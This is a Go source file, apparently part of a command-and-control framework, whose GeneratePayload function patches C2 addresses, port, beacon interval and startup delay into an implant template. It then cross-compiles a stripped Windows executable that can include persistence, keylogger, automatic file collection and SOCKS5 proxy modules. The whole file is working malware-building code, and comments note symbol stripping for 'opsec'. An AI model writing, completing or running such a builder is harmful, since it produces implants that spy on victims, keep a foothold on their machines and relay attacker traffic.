package main

import (
	"fmt"
	"log"
	"math/rand"
	"net"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"time"
)

// Dictionary to create client ID
var (
	adjectives = []string{
		"Playful", "Wild", "Fierce", "Gentle", "Silent",
		"Swift", "Sleepy", "Clever", "Brave", "Nimble",
	}

	animals = []string{
		"Lion", "Panda", "Fox", "Wolf", "Tiger",
		"Eagle", "Dolphin", "Penguin", "Koala", "Owl",
	}
)

// This big ass func opens agent.c, changes some placeholder values and writes it to temporary file
// agent_*.c which later is passed to compiler
func GeneratePayload(payloadType, listenerName string, conn_interval, startup_delay int, persistence, auto_persistence, keylogger, auto_keylogger, proxy, files bool, operatorConn net.Conn) {
	// Retrieve listener info by name
	value, ok := listeners.Load(listenerName)
	if !ok {
		operatorConn.Write([]byte(fmt.Sprintf("Listener '%s' not found\n", listenerName)))
		return
	}

	// Retrieve info needed for communication
	listenerInfo := value.(*ListenerInfo)
	hosts := listenerInfo.IP
	port := listenerInfo.Port
	transport := listenerInfo.Protocol

	var message string

	// Currently agent does not support DNS channel
	if transport == "dns" {
		message = "Currently DNS communication channel is not fully functioning"
		infoLog(message)
		operatorConn.Write([]byte(message))
		return
	}

	// Select the appropriate template
	var templatePath string

	switch payloadType {
	case "agent":
		debugLog("Starting agent compilation")
		templatePath = "./agent/agent.c"

	// Currently only agent generation is supported
	case "beacon":
		message = "Currently only agent generation is supported"
		infoLog(message)
		operatorConn.Write([]byte(message))
		return

	default:
		operatorConn.Write([]byte("Unknown implant type"))
		return
	}

	// Read the template code
	template, err := os.ReadFile(templatePath)
	if err != nil {
		debugLog("Failed to read agent.c: %v", err)
		return
	}

	// Create the serverDomains string for round robin logic
	var serverDomains string
	for i, host := range hosts {
		if i > 0 {
			serverDomains += ", "
		}
		serverDomains += fmt.Sprintf("\"%s\"", host) // Formatting the host addresses as required
	}

	// Generate agentID
	rng := rand.New(rand.NewSource(time.Now().UnixNano()))
	adj := adjectives[rng.Intn(len(adjectives))]
	noun := animals[rng.Intn(len(animals))]
	agentID := adj + noun
	debugLog("Generated Agent ID: %s", agentID)

	// Replace the server address placeholder with the generated serverDomains string
	code := string(template)
	code = strings.ReplaceAll(code, "\"PLACEHOLDER_SERVER_ADDR\"", serverDomains)

	// Replace server port placeholder with actual port
	code = strings.ReplaceAll(code, "54321", port)

	// Replace agentID placeholder with generated ID
	code = strings.ReplaceAll(code, "PLACEHOLDER_AGENT_ID", agentID)

	// Set interval between connections
	conn_interval_str := strconv.Itoa(conn_interval * 1000)
	code = strings.ReplaceAll(code, "5678", conn_interval_str)

	// Set startup delay
	startup_delay_str := strconv.Itoa(startup_delay * 1000)
	code = strings.ReplaceAll(code, "1298", startup_delay_str)

	// Write the modified code to a temporary file
	tempFile, err := os.CreateTemp("./agent/", "agent_*.c")
	if err != nil {
		debugLog("failed to create temp file: %v", err)
		return
	}

	// Save template file to disk
	_, err = tempFile.Write([]byte(code))
	if err != nil {
		debugLog("failed to write to temp file: %v", err)
		return
	}
	tempFile.Close()

	// Remove temporary template file when function exits
	defer func() {
		err := os.Remove(tempFile.Name())
		if err != nil {
			debugLog("Failed to remove temp file %s: %v", tempFile.Name(), err)
		} else {
			debugLog("Removed temp file: %s", tempFile.Name())
		}
	}()

	// Compiler flags
	cflags := []string{
		// "-flto", // optimization, should be both at compile time and link time
		// "-Os", // Optimize for size, makes almost no difference
		// "-fdata-sections",     // Optimize for size
		// "-ffunction-sections", // Optimize for size
		"-DTESTING_BUILD=FALSE", // flag for window-less mode and real
	}

	// Base source files (always included)
	sourceFiles := []string{
		tempFile.Name(), // This is temporary agent_*.c
	}

	// Configure transport based on protocol
	useWolfSSL := false

	if transport == "wolfssl" {
		debugLog("Using WolfSSL transport")
		useWolfSSL = true
		cflags = append(cflags, "-DUSE_WOLFSSL=TRUE")
		sourceFiles = append(sourceFiles, "./agent/transport_wolfssl.c")
	} else if transport == "ssl" || transport == "tls" {
		debugLog("Using Schannel transport")
		cflags = append(cflags, "-DUSE_SCHANNEL=TRUE")
		sourceFiles = append(sourceFiles, "./agent/transport_schannel.c")
	} else if transport == "tcp" {
		debugLog("Using TCP transport")
		sourceFiles = append(sourceFiles, "./agent/transport_tcp.c")
	} else {
		debugLog("Unknown transport type")
		return
	}

	// Additional modules configuration
	if persistence || auto_persistence || keylogger || auto_keylogger || proxy || files {
		if auto_persistence {
			cflags = append(cflags, "-DAUTO_PERSISTENCE=TRUE")
			cflags = append(cflags, "-DENABLE_PERSISTENCE=TRUE")
			sourceFiles = append(sourceFiles, "./agent/persistence.c")
		} else if persistence && !auto_persistence {
			cflags = append(cflags, "-DENABLE_PERSISTENCE=TRUE")
			sourceFiles = append(sourceFiles, "./agent/persistence.c")
		}

		if auto_keylogger {
			cflags = append(cflags, "-DAUTO_KEYLOGGER=TRUE")
			cflags = append(cflags, "-DENABLE_KEYLOGGER=TRUE")
			sourceFiles = append(sourceFiles, "./agent/keylogger.c")
		} else if keylogger && !auto_keylogger {
			cflags = append(cflags, "-DENABLE_KEYLOGGER=TRUE")
			sourceFiles = append(sourceFiles, "./agent/keylogger.c")
		}

		if proxy {
			sourceFiles = append(sourceFiles, "./agent/socks5_server.c")
			sourceFiles = append(sourceFiles, "./agent/socks5_agent.c")
			cflags = append(cflags, "-DENABLE_PROXY=TRUE")
		}

		if files {
			cflags = append(cflags, "-DAUTO_FILES=TRUE")
		}
	}

	// Include directory - only needed for WolfSSL
	includeDir := ""
	if useWolfSSL {
		includeDir = "-I./agent/lib/wolfssl-compiled/include"
	}

	// Output path for the compiled executable
	outputPath := strings.TrimSuffix(tempFile.Name(), filepath.Ext(tempFile.Name())) + ".exe"

	// Create object files directory if it doesn't exist
	objDir := "./agent/obj"
	os.Mkdir(objDir, os.ModePerm)

	// Compile each source file into an object file
	var objectFiles []string
	for _, sourceFile := range sourceFiles {
		objectFile := filepath.Join(objDir, strings.TrimSuffix(filepath.Base(sourceFile), ".c")+".o")

		// Compile arguments
		compileArgs := cflags
		if includeDir != "" {
			compileArgs = append(compileArgs, includeDir)
		}
		compileArgs = append(compileArgs, "-c", sourceFile, "-o", objectFile)

		compileCmd := exec.Command("x86_64-w64-mingw32-gcc", compileArgs...)

		debugLog("Compiling: %s\n", sourceFile)
		output, err := compileCmd.CombinedOutput()
		if err != nil {
			message = fmt.Sprintf("Compilation failed for %s: %v\nOutput:\n%s", sourceFile, err, string(output))
			log.Print(message)
			operatorConn.Write([]byte(message))
			return
		}
		objectFiles = append(objectFiles, objectFile)
	}

	// Remove object files
	defer func() {
		// Remove object files
		for _, objectFile := range objectFiles {
			err := os.Remove(objectFile)
			if err != nil {
				debugLog("Failed to remove object file %s: %v", objectFile, err)
			} else {
				debugLog("Removed object file: %s", objectFile)
			}
		}
	}()

	// Base link flags (always needed)
	linkArgs := append(objectFiles,
		// "-flto", // optimization, should be both at compile time and link time
		// "-Wl,--gc-sections", // size opt, shoukd be together with -f flags during compile
		"-s", // size opt and opsec (strip symbol/debug info), makes big difference in size
		"-lws2_32",
		"-liphlpapi",
		"-lschannel",
		"-lsecur32",
		"-lwinhttp",
		"-static",
		// "-mwindows", // flag for window-less mode
		"-o", outputPath)

	// Add WolfSSL libraries if needed
	if useWolfSSL {
		linkArgs = append(linkArgs,
			"-L", "./agent/lib/wolfssl-compiled/lib",
			"-lwolfssl",
			"-lcrypt32")
	}

	linkCmd := exec.Command("x86_64-w64-mingw32-gcc", linkArgs...)

	debugLog("Linking object files into executable: %s\n", outputPath)
	output, err := linkCmd.CombinedOutput()
	if err != nil {
		message = fmt.Sprintf("Linking failed: %v\nOutput: %s", err, string(output))
		infoLog(message)
		operatorConn.Write([]byte(message))
		return
	}

	// Notify the operator that the payload was generated successfully
	message = fmt.Sprintf("Payload generated successfully: %s", outputPath)
	infoLog(message)
	operatorConn.Write([]byte(message))
}
